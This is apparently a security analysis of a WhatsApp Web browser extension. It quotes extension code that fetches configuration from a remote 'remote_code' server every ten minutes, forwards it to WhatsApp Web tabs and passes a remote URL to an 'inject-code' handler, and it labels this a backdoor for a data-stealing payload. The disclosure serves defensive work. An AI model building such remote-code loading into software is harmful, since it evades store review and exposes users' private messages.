Whats Expert

The config object explicitly names `remote_code` (commented 'URL do código remoto') pointing to `https://code.wascript.com.br/`. This URL is fetched every 10 minutes and also used by the 'inject-code' handler to supply content scripts with a remote code URL. This gives the publisher server-side control over extension behaviour on WhatsApp Web without issuing a new CWS-reviewed build — a classic remote backdoor pattern. The comment and variable name leave no ambiguity about the intended purpose.

const n = {  // NomeID Da WL Ativa  name: "watidy",  // Versão de build  version: "7.4.3.55",  // Chave de criptografia  cript_key: "ffce211a-7b07-4d91-ba5d-c40bb4034a83",  // Url do backend principal  backend_plugin: "https://backend-plugin.wascript.com.br/",  // Url do backend Antigo  backend: "https://painel-old.wascript.com.br/",  // Url do backend de funções auxiliares  backend_utils: "https://backend-utils.wascript.com.br/",  // WebSockets  webSocket: {    "multi-atendimento": "https://multi-atendimento.wascript.com.br",    "api-whatsapp": "https://api-whatsapp.wascript.com.br"  },  // Url do painel de clientes  painel_cliente: "https://app.wascript.com.br",  // Url do audio transcriber  audio_transcriber: "https://audio-transcriber.wascript.com.br/transcription",  // Url do código remoto  remote_code: "https://code.wascript.com.br/",  //remote_code: "https://dev.watools.com.br/",  // Limite de mídia no Resposta Rápida  midiaLimit: 50};

Every 10 minutes (via the 'Ten_Minutes' chrome.alarms alarm) the background script GETs `https://code.wascript.com.br/config.json` and forwards the entire parsed JSON payload to every WhatsApp Web content-script tab under the message key 'Update_DomSelector'. Because the primary content-script bundle (the file referenced in content/index.js) is absent from this extraction, the consumer of that message cannot be audited — but the infrastructure for receiving server-controlled configuration on a recurring basis is confirmed. The `remote_code` property of that config is separately extracted and passed to content scripts in the `inject-code` flow, indicating it is a URL for dynamic script loading.

const f = async () => {  try {    const t = await (await fetch(`${n.remote_code}config.json`, {        method: "GET"      }))      .json();    return s("https://web.whatsapp.com/*", "Update_DomSelector", t), t;  } catch (e) {    return console.error("Erro ao buscar configurações externas:", e), null;  }};

Function `v()` is invoked whenever any internal sender dispatches a `{message: 'inject-code'}` event. It calls `f()` to obtain the remote config and specifically destructures `remote_code` — a URL that the missing primary content script is expected to receive and dynamically execute on the WhatsApp Web page. The error string 'MODULO_EXTERNAL_NOT_INITIALIZED_IN_BACKGROUND' confirms this is the entry point for loading a remote module. Combined with the absent main content chunk, this is the plausible execution path for the WaSteal payload.

v = async (e) => {  try {    const {      remote_code: t    } = await f();    if (!t)      throw new Error("Error url remote code não capturada");  } catch (t) {    console.error("Erro ao injetar WPP:", t), s("https://web.whatsapp.com/*", "module-error", {      code: "MODULO_EXTERNAL_NOT_INITIALIZED_IN_BACKGROUND"    });  }},